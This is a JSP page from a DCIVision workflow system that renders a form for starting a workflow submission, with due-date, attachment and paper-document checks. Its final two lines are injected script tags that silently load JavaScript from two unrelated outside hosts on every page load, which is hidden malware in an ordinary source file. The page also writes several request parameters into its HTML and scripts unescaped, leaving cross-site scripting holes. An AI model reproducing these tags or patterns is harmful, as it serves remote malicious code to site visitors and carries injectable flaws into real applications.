<%
/*
 * @(#)EditWorkflowSubmission.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditWorkflowSubmission.jsp

  This class is reflecting business logic uses.

    @author           Angus Shiu
    @company          DCIVision Limited
    @creation date    30/07/2003
    @version          $Revision: 1.84.2.20 $
*/
%>
<%@ taglib uri="/tags/wfm" prefix="wfm" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.workflow.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.web.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="com.dcivision.workflow.core.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%try{%>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintWorkflowRecordForm" scope="request" class="com.dcivision.workflow.web.MaintWorkflowRecordForm"/>


<html:form action="workflow/MaintWorkflowSubmission" styleClass="form-style-2">
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String)request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/

  String navMode = request.getParameter("navMode");

  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  List attachmentList = (List) request.getAttribute("attachmentList");
  DmsVersionDAObject dmsVersionDAO = new DmsVersionDAObject(sessionContainer, conn);
  DmsDocumentDAObject dmsDocumentDAO = new DmsDocumentDAObject(sessionContainer, conn);
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
  Integer DMS_PERSONAL_FOLDER = new Integer("6001");
  Integer DMS_PUBLIC_FOLDER = new Integer("6002");
  
  String submitFunction=request.getParameter("submitFunction");
  WorkflowGroup currentGroup = (WorkflowGroup)request.getAttribute("workflowGroup");
  String returnURL = null;
  if((!Utility.isEmpty(maintWorkflowRecordForm.getReturnTo()))&&(maintWorkflowRecordForm.getReturnTo().indexOf("ListDmsPaperDocument.do")>0)){
  returnURL=maintWorkflowRecordForm.getReturnTo();
  }else{
  returnURL="ListWorkflowSubmission.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
  }
%>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='workflowGroupID' value="<%=maintWorkflowRecordForm.getWorkflowGroupID()%>"/>
<input type="hidden" name="submitFunction" value="<%=submitFunction%>"/>
<%if(!Utility.isEmpty(maintWorkflowRecordForm.getReturnTo())){%>
<input type="hidden" name="returnUrl" value="<%=maintWorkflowRecordForm.getReturnTo()%>"/>
<%
}else{%>
<input type="hidden" name="returnUrl" value="ListWorkflowSubmission.do"/>
<%}%>
<html:hidden property='nextStepAllowAssignDueDate'/>
<html:hidden property='oldUpdateFileText' value=""/>
<html:hidden property='oldUpdateFileValue' value=""/>

<script language='javascript'>
<!--
<%if(SystemWorkflowConstant.DMS_PAPER_DOCUMENT.equals(request.getParameter("workflowCategoryID")) ){%>
function INIT() {
  if ( document.maintWorkflowRecordForm.documentReferenceNo
        && document.maintWorkflowRecordForm.documentReferenceNo.type=='text') {
    document.maintWorkflowRecordForm.documentReferenceNo.focus();
  }
}
<%}%>
<% String time=Long.toString(System.currentTimeMillis());
    //sliever.hu.add%>
 function CustOpSave(){
   var n=10000;
   var time1="<%=time%>";
   var timelice=time1+Math.floor(Math.random()*(n+1));
   window.document.maintWorkflowRecordForm.timelice.value=timelice;
   //sliever.hu.add 
   var tmpDate;
   // check Doc Reference No.
   if(document.maintWorkflowRecordForm.documentReferenceNo){
     if(document.maintWorkflowRecordForm.documentReferenceNo.value == ""){
       alert("<bean:message key='workflow.message.doc_reference_no_is_required'/>");
       return false;
     }
   }

  // Check access right of the paper document
  if(document.maintWorkflowRecordForm.documentReferenceNo){
    if(document.maintWorkflowRecordForm.documentReferenceNo.value != ""){
      if ( iframeName && iframeName.document && iframeName.document.body.innerText!='' ) {
        if ( iframeName.document.body.innerText.toLowerCase().indexOf(document.maintWorkflowRecordForm.documentReferenceNo.value.toLowerCase()) == -1 ) {
          return false;
        }
      }
    }
  }

  //check Next Step Due Dates
   if( document.maintWorkflowRecordForm.nextStepDueDates ){

     <% List nextAssignDueDatesList = (List)maintWorkflowRecordForm.getNextStepAllowAssignStr();
     for (int h = 0 ; !Utility.isEmpty(nextAssignDueDatesList) && h < nextAssignDueDatesList.size(); h++) {
     String[] currentAssignDueDate = (String[])nextAssignDueDatesList.get(h);%>
      document.maintWorkflowRecordForm.dummy_dueDate<%=h+1%>.onblur();
      tmpDate = document.maintWorkflowRecordForm.dueDate<%=h+1%>.value;
      <%
     if (WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_MANDATORY.equals(currentAssignDueDate[1])) {
     %>
     if (tmpDate=="") {
       alert("<bean:message key='workflow.message.next_step_due_date_required'/>");
       return;
       }
     <%}%>
      while(tmpDate.indexOf("-") >0 ) {
        tmpDate = tmpDate.replace("-","/");
      }
      if ((new Date()).getTime() > (new Date(tmpDate)).getTime() ) {
        alert("<bean:message key='workflow.message.due_date_cannot_be_less_than_current_date'/>");
        return;
      }
	
			
	  if ((document.maintWorkflowRecordForm.dummy_dueDate<%=h+1%>) && (document.maintWorkflowRecordForm.dummy_dueDate<%=h+1%>.value!="" )){
		  if (document.maintWorkflowRecordForm.nextStepDueDates.value!=""){
	  document.maintWorkflowRecordForm.nextStepDueDates.value =document.maintWorkflowRecordForm.nextStepDueDates.value+";"+ document.maintWorkflowRecordForm.dueDate<%=h+1%>.value ;}
	  else{
		document.maintWorkflowRecordForm.nextStepDueDates.value =document.maintWorkflowRecordForm.dueDate<%=h+1%>.value;
	  }
	  }

	  <%
    }%>

   }
   
   return OpSave();
 }

 function showDocReferenceNo(property) {
    var url = "<%= request.getContextPath() %>" + "/dms/PopupPaperDocumentRecord.do?SHOW_HEADER_FOOTER=N&property=" + property + "&form=" + document.forms['maintWorkflowRecordForm'].name + "&mode=multiple";
    var name = "DCIVisionPopupStaff";
    var popW = "700";
    var popH = "400";
    var feature = "scrollbars=yes,resizable=yes";

    OpenCenteredPopup(url, name, popW, popH, feature);
    return false;

}

-->
</script>

<layout:tabContainer id="tab1">
<layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
   <layout:tabBar styleClass="tabBar_no_button">
        <layout:tabPane id="basicTab" title="common.label.tab_basic" selected="true" visibility="false"/> 
    </layout:tabBar>
  <div id="basicTab" class="tabContent">
  <table width="100%">
  <!-- Section Header -->
  <layout:sectionHeader name="workflow.label.start_workflow" colspan="4"/>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.workflow_code'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='workflowCode' textOnly='true' size='20' maxlength='20'/><a href="" onClick='return OpenCenteredPopup("<%=request.getContextPath()%>/workflow/PreviewWorkflowRecord.do?ID=<%=maintWorkflowRecordForm.getID()%>", "DCIVisionWorkflowPreviewWin", 800, 600, "scrollbars=yes")'><html:img src='IconView.gif' /></a></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.workflow_version'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='workflowVersion' textOnly='true' size='5' maxlength='10'/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.description'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:textarea textOnly='true' property='description' cols='50' rows='2' textlimit='255'/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.category'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:select textOnly='true' property='workflowCategoryID'>
      <html:options dbListName='<%=OptionsListConstant.DBLIST_WORKFLOW_CATEGORY%>'/>
    </html:select>
    </td>
  </tr> 
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.effective_period'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:datepicker textOnly='true' property='startDate'/>
    <bean:message key='common.label.period_to'/>
    <html:datepicker textOnly='true' property='endDate'/></td>
  </tr>
  <%if(SystemWorkflowConstant.DMS_PAPER_DOCUMENT.equals(request.getParameter("workflowCategoryID"))){%>
  <script>
  documentReferenceNoFocus = true;

  function hideBlock(b) {
      FindObj(b).style.display = "none";
    }

  function showBlock(b) {
      FindObj(b).style.display = "block";
  }

  function toggleBlock(b) {
      if(FindObj(b).style.display == "block" || FindObj(b).style.display == "") {
        hideBlock(b);
      } else {
        showBlock(b);
      }
  }

  document.onkeydown = function() {
    if (window.event && window.event.keyCode == 13 && documentReferenceNoFocus
          && document.maintWorkflowRecordForm.documentReferenceNo.value!='' ) {
      showPaperDocumentInfo(document.maintWorkflowRecordForm.documentReferenceNo.value);
    }
  }

  function showPaperDocumentInfo(documentReferenceNo) {
    if ( document.maintWorkflowRecordForm.documentReferenceNo.value != '' ) {
      iframeName.location = '../dms/MaintDmsDocument.do?documentType=H&navMode=P&opMode=DMS.VIEW_PAPER_DOCUMENT_INFO&referenceNo='+document.maintWorkflowRecordForm.documentReferenceNo.value;
      showBlock('paperDocumentInfo');
//      adjustIFrameSize(iframeName);
    } else {
      hideBlock('paperDocumentInfo');
    }
  }

  function adjustIFrameSize (iframeWindow) {
    if (iframeWindow.document.height) {
      var iframeElement = parent.document.getElementById(iframeWindow.name);
      if(iframeElement){
      iframeElement.style.height = iframeWindow.document.height + 'px';
       }
    }else if (document.all) {
      var iframeElement = parent.document.all[iframeWindow.name];
      if(iframeElement){
      if (iframeWindow.document.compatMode &&
          iframeWindow.document.compatMode != 'BackCompat'){
        iframeElement.style.height =iframeWindow.document.documentElement.scrollHeight + 5 + 'px';
      } else {
        if (iframeElement && iframeWindow.document.body.scrollHeight){
          iframeElement.style.height = iframeWindow.document.body.scrollHeight + 5 + 'px';
        }
      }
    }
    }
  }

  </script>
  <tr>
    <td class="formLabelSmallMan"><bean:message key='workflow.label.document_reference_number'/>:&nbsp;</td>
    <td class="formFieldSmall">
    <%if(!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
    <input type="text" value='<%=!Utility.isEmpty(request.getAttribute("documentReferenceNo"))?request.getAttribute("documentReferenceNo"):""%>' name="documentReferenceNo" onfocus="documentReferenceNoFocus=true;" onblur="documentReferenceNoFocus=false;">
    <a href="javascript://" onclick="return showDocReferenceNo('documentReferenceNo');"><html:img imageName="popupIcon1" src="IconSearchStaff.gif" /></a>
    <%}else{%>
    <%=!Utility.isEmpty(request.getAttribute("documentReferenceNo"))?request.getAttribute("documentReferenceNo"):""%>
    <html:hidden property='documentReferenceNo'/>
    <%}%>
    </td><html:hidden property='documentID'/>
    <input type="hidden" name="workflowCategoryID" value='<%=request.getParameter("workflowCategoryID")%>'>
  </tr>
  <%}%>
  <!--sliever.hu.add-->
  <input type="hidden" name="timelice">
  <!-- ===================Dynamic Assign Due Date For Next Step Begin======================== -->
  <script language="JavaScript">
  <!--
  function PopupSetDueDates(idField) {
    var height;
    var width;
    var windowName;
    var moreStepDueDates

     for (var i = 0; i < document.forms.length; i++) {
       if (document.forms[i].name != "") {
         frm = document.forms[i];
         break;
       }
     }

    height = 90 + 30 * <%=SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.WORKFLOW_ATTACHMENT_UPLOAD_LIMIT)%>;
    width = 530;
    windowName = "DCIVisionPopupSetDueDates";
    var frmObj = eval('frm.'+idField);
     moreStepDueDates = frm.nextStepDueDates.value;

    OpenCenteredPopup("<%=request.getContextPath()%>/workflow/MaintNextStepDueDates.do?navMode=N&SHOW_HEADER_FOOTER=N&workflowRecordID=<%=maintWorkflowRecordForm.getID()%>&moreStepDueDates="+moreStepDueDates, windowName, width, height, "scrollbars=yes");
    return(false);
   }

  function setDueDates(moreStepDueDates,nextStepDueDates){

     for (var i = 0; i < document.forms.length; i++) {
       if (document.forms[i].name != "") {
         frm = document.forms[i];
         break;
       }
     }
     frm.moreStepDueDates.value = moreStepDueDates;
     frm.nextStepDueDates.value = nextStepDueDates;
     //return(false);
  }
  -->
  </script>
  <%
    String nextStepDueDateCount = String.valueOf(maintWorkflowRecordForm.getNextStepDueDateCount());
    if(!Utility.isEmpty(request.getParameter("nextStepDueDateCount")) ){
      nextStepDueDateCount = request.getParameter("nextStepDueDateCount");
    }
  %>
  <input type="hidden" name="nextStepDueDateCount" value="<%=nextStepDueDateCount%>">
  <%if (!GlobalConstant.NAV_MODE_VIEW.equals(maintWorkflowRecordForm.getNavMode()) && (
       WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_TRUE.equals(maintWorkflowRecordForm.getNextStepAllowAssignDueDate()) ||
       WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_MANDATORY.equals(maintWorkflowRecordForm.getNextStepAllowAssignDueDate()) ) ){
      if(maintWorkflowRecordForm.getNextStepDueDateCount() == 1){
  %>
  <tr>
    <td <%if(WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_MANDATORY.equals(maintWorkflowRecordForm.getNextStepAllowAssignDueDate()) ){%>class="formLabelSmallMan"<%}else{%>class="formLabelSmall"<%}%>>
    <bean:message key='workflow.label.next_step_due_date'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:datepicker property='dueDate1' time='true'/></td>
  </tr>

  <%  }else{
   List nextAssignDueDateList = (List)maintWorkflowRecordForm.getNextStepAllowAssignStr();
   for (int j = 0; j < nextAssignDueDateList.size(); j++) {
     String[] currentNextStepInfo = (String[])nextAssignDueDateList.get(j);
     if (j%2==0) { %>
    <tr>
    <td <%if(WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_MANDATORY.equals(currentNextStepInfo[1]) ){%>class="formLabelSmallMan"<%}else{%>class="formLabelSmall"<%}%>><a href="#" onmouseover="return getPopupInfo('<%=currentNextStepInfo[0]%>');" onmouseout="return nd();"><bean:message key='workflow.label.step_n_due_date' arg0='<%=(new Integer(j+1)).toString()%>'/></a>:&nbsp;</td>
    <%if (j == maintWorkflowRecordForm.getNextStepDueDateCount()-1) {%>
    <td  class="formFieldSmall"><html:datepicker property='<%="dueDate" + (j+1)%>' time='true'/></td>
    <%} else {%>
    <td>
    <table width="630" cellpadding="0" cellspacing="2" border="0" align="left">
    <tr>
    <td  class="formFieldSmall"><html:datepicker property='<%="dueDate" + (j+1)%>' time='true'/></td>
    <%}%>
  <%} else {%>
     <td <%if(WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_MANDATORY.equals(currentNextStepInfo[1]) ){%>class="formLabelSmallMan"<%}else{%>class="formLabelSmall"<%}%>><a href="#" onmouseover="return overlib('<%=currentNextStepInfo[0]%>', WIDTH, 120, BGCOLOR, '#990000', FGCOLOR, '#FFEEFF', LEFT);" onmouseout="return nd();"><bean:message key='workflow.label.step_n_due_date' arg0='<%=(new Integer(j+1)).toString()%>'/></a>:&nbsp;</td>
     <td  class="formFieldSmall"><html:datepicker property='<%="dueDate" + (j+1)%>' time='true'/></td>
     </tr>
     </table>
     </td>
     </tr>
   <%}%>

  <%
     }%>
  
  <%  } %>
  <html:hidden property='nextStepDueDates'/>
  <%
    }
  else if( (WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_TRUE.equals(maintWorkflowRecordForm.getNextStepAllowAssignDueDate()) ||
       WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_MANDATORY.equals(maintWorkflowRecordForm.getNextStepAllowAssignDueDate()) )&& GlobalConstant.NAV_MODE_VIEW.equals(maintWorkflowRecordForm.getNavMode()) ){%>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.next_step_due_date'/>:&nbsp;</td>
    <td class="formFieldSmall">
    <%if (!Utility.isEmpty(request.getParameter("moreStepDueDates")) ) {%>
        <%=request.getParameter("moreStepDueDates")%>
    <%}else{ %>
	   <html:text property='nextStepDueDates'/>
    <%}%></td>
  </tr>
  <%}%>
  <!-- ==================Dynamic Assign Due Date For Next Step End  ======================== -->

  <!-- Get the attachment Begin -->
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.supporting_document'/>:&nbsp;</td>
    <td class="formFieldSmall">
    <%SysFunction sysFunction = applicationContainer.getSysFunctionByFunctionCode(SystemFunctionConstant.DMS);
    if ( sysFunction!=null && GlobalConstant.STATUS_ACTIVE.equals(sysFunction.getStatus()) ){
     String permissionStr = permissionManager.getPermission(GlobalConstant.OBJECT_TYPE_FUNCTION,DMS_PERSONAL_FOLDER);
       permissionStr += permissionManager.getPermission(GlobalConstant.OBJECT_TYPE_FUNCTION,DMS_PUBLIC_FOLDER);
       if(!Utility.isEmpty(permissionStr) && permissionStr.indexOf("R") > -1 ){
    %>
    <wfm:attachment width="450" height="22" popW="550" popH="500" URL="/upload/ListLookupFromParaDoc.do?navMode=V&SHOW_HEADER_FOOTER=N"/>
    <%} else {%>
    <wfm:attachment width="450" height="22" popW="550" popH="500" URL="/upload/MaintMultipleFileUpload.do?SHOW_HEADER_FOOTER=N"/>
    <%}} else {%>
    <wfm:attachment width="450" height="22" popW="550" popH="500" URL="/upload/MaintMultipleFileUpload.do?SHOW_HEADER_FOOTER=N"/>
    <%}%>
    </td>
  </tr>
  <!-- Get the attachment End   -->
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.progress_comment'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:textarea  property='comment' cols='74' rows='3' textlimit='2000'/></td>
  </tr>

  <html:hidden property='status'/>
  <%//if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>

  <%//} else {
  if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {
    Integer trackID = null;
    if(!Utility.isEmpty(request.getAttribute("initialProgress"))){
      trackID = ((WorkflowProgress)request.getAttribute("initialProgress")).getTrackID();
  %>   
   <logic:equal parameter='workflowCategoryID' value='<%=SystemWorkflowConstant.DMS_PAPER_DOCUMENT%>'>
     <logic:permission objectType='' functionCode='<%=SystemFunctionConstant.DMS_PAPER_DOCUMENT%>' right='R'>
      <tr>   <td class="formLabelSmall">Print Receipt:&nbsp;</td>   
	  <td class="formFieldSmall" colspan="3">       
	  <a href="javascript://" onclick="return OpenCenteredPopup('ListWorkflowDocTracking.do?navMode=<%=GlobalConstant.NAV_MODE_PREVIEW%>&trackID=<%=trackID%>&SHOW_HEADER_FOOTER=N','DCIVisionPaperReceipt',630,300,'scrollbars=no,width=630,height=300,toolbar=no,status=no,directories=no,menubar=no,resizable=yes')"><img src="<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/lang/<%=sessionContainer.getSessionLocale()%>/ButtonPrint.gif" border="0"/></a>   </td> </tr>
     </logic:permission>
   </logic:equal>  
  <tr>
    <td colspan="2"><bean:message key='workflow.label.workflow_submission_prefix'/><bean:message key='workflow.label.workflow_submission_suffix' arg0='<%=TextUtility.formatNumberWithZeroPrefix(SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.WORKLFLOW_TRACK_ID_FORMAT_LENGTH).intValue(), trackID)%>'/></td>
  </tr>
  <%}%>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
  <tr>
    <td nowrap class="sectionTitle" ><bean:message key='workflow.label.workflow_routine'/>:
    <td align="right">      
      <!--If have WR permission then Check if have Form/form group permission add By TC-->
	  <logic:equal scope="request" value="true" name="ALLOW_EXECUTE">
	  <!-- By FORM FLOW -->
      <logic:equal parameter='relatedObjectType' value='<%=GlobalConstant.OBJECT_TYPE_FORM%>'>
        <!-- HTML FORM -->
        <logic:equal parameter='formDocID' value=''>
          <html:permissionButton label="workflow.label.start" right="E" link='<%=request.getContextPath()+"/form/MaintFormSubmission.do?navMode=N&formRecordID=${maintWorkflowRecordForm.relatedObjectID}&workflowRecordID=${maintWorkflowRecordForm.ID}&function=FORMSUBMISSION&submitFunction=WORKFLOW"%>'/>
        </logic:equal>
        <!-- PDF FORM -->
        <logic:notEqual parameter='formDocID' value=''>
        <logic:permission right='E'>
        </logic:permission>
        <% String actioinString = "javascript:window.open('"+request.getContextPath()+"/form/GenerateXML.do?navMode=N&formRecordID=${maintWorkflowRecordForm.relatedObjectID}&workflowRecordID=${maintWorkflowRecordForm.ID}&type=listFormSubmissionDetail&formDocID=${maintWorkflowRecordForm.formDocID}&status=R&step=N','newwindow', 'location=no,scrollbars=no,menubar=no,status=no,resizable=1,width=800,height=600,left=80,top=80')";  %>
          <html:permissionButton label="workflow.label.start" right="E" onClick='<%= actioinString %>'/>
        </logic:notEqual>
      </logic:equal>
      
      <!-- By FORM GROUP FLOW -->
      <logic:equal parameter='relatedObjectType' value='<%=GlobalConstant.OBJECT_TYPE_FORMGROUP%>'>
        <html:permissionButton label="workflow.label.start" right="E" link='<%=request.getContextPath()+"/form/MaintFormSubmission.do?submitFunction=WORKFLOW&navMode=N&formRecordID=${maintWorkflowRecordForm.relatedObjectID}&workflowRecordID=${maintWorkflowRecordForm.ID}&function=FORMSUBMISSION&submitFunction=WORKFLOW"%>'/>
      </logic:equal>
      
      <!-- By GENERAL FLOW -->
      <logic:equal parameter='relatedObjectType' value=''>
        <logic:empty name='maintWorkflowRecordForm' property='opMode'>
        <logic:permission right='E'>
	  <% Random r =new Random();
         String st="";
         for(int i=0;i<4;i++){ 
			 st +=Integer.toString(r.nextInt(36),36);
         }
		 String str=time+st;
		 //sliever.hu.add
	    %>
        <html:standardButton label="workflow.label.start" link='<%="MaintWorkflowSubmission.do?navMode=E&ID=${maintWorkflowRecordForm.ID}&workflowCategoryID=${maintWorkflowRecordForm.workflowCategoryID}&timelice="+str%>'/>
        </logic:permission>
        </logic:empty>
      </logic:equal>
	  </logic:equal>
	  <!--if have no WR permission then disable start-->
      <logic:equal scope="request" value="false" name="ALLOW_EXECUTE">
	      <html:standardButton label="workflow.label.submit" disable="true"/>
      </logic:equal>
	  <!--End TC ADD-->
    </td>
  </tr>
  <tr>
    <td class="blackLine" colspan="2"><html:img src='LayoutSpacer.gif'  width='1' height='1'/></td>
  </tr>
  <tr>
    <td colspan="2" align="center">
      <jsp:include page="ShowWorkflowTree.jsp">
        <jsp:param name="workflowRecordID" value="<%=maintWorkflowRecordForm.getID()%>"/>
        <jsp:param name="workflowGroupID" value="<%=maintWorkflowRecordForm.getWorkflowGroupID()%>"/>
        <jsp:param name="actionMode" value="<%=ACTION_MODE%>"/>
      </jsp:include>
    </td>
  </tr>
  <%}%>

  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
   </table>
  </div>
  </layout:tabContainer>


  <div id="bottomButtonArea">
    <div id="buttonSection">
    <!-- The Buttons for Actions Handling -->
    <!--king.guo--modify--start-->
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>    
      <logic:equal scope="request" value="true" name="ALLOW_EXECUTE">
    	  <html:standardButton label="workflow.label.start" onClick="return CustOpSave()"/>
      </logic:equal>
      <logic:equal scope="request" value="false" name="ALLOW_EXECUTE">
	      <html:standardButton label="workflow.label.submit" disable="true"/>	
      </logic:equal>
   <!--king.guo--modify--end-->
    <%}%>
   </div>
 </div>
<%if(SystemWorkflowConstant.DMS_PAPER_DOCUMENT.equals(request.getParameter("workflowCategoryID"))){%>
<div id="paperDocumentInfo">
  <iframe name="iframeName" id="iframeName" src="about:blank" width="100%" frameborder="0" marginwidth="0" marginheight="0"  align="middle"></iframe>
  <script language="JavaScript">
  <!--
    <%if(!Utility.isEmpty(request.getAttribute("documentReferenceNo"))) {%>
    //showPaperDocumentInfo('<%=request.getAttribute("documentReferenceNo")%>');
    <%}else{%>
    hideBlock("paperDocumentInfo");
  <%}%>
  -->
  </script>
</div>
<br>
<br>
<%}%></html:form>
<%} catch(Exception ex) {
  LogFactory.getLog(this.getClass()).error(ex, ex);
}
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>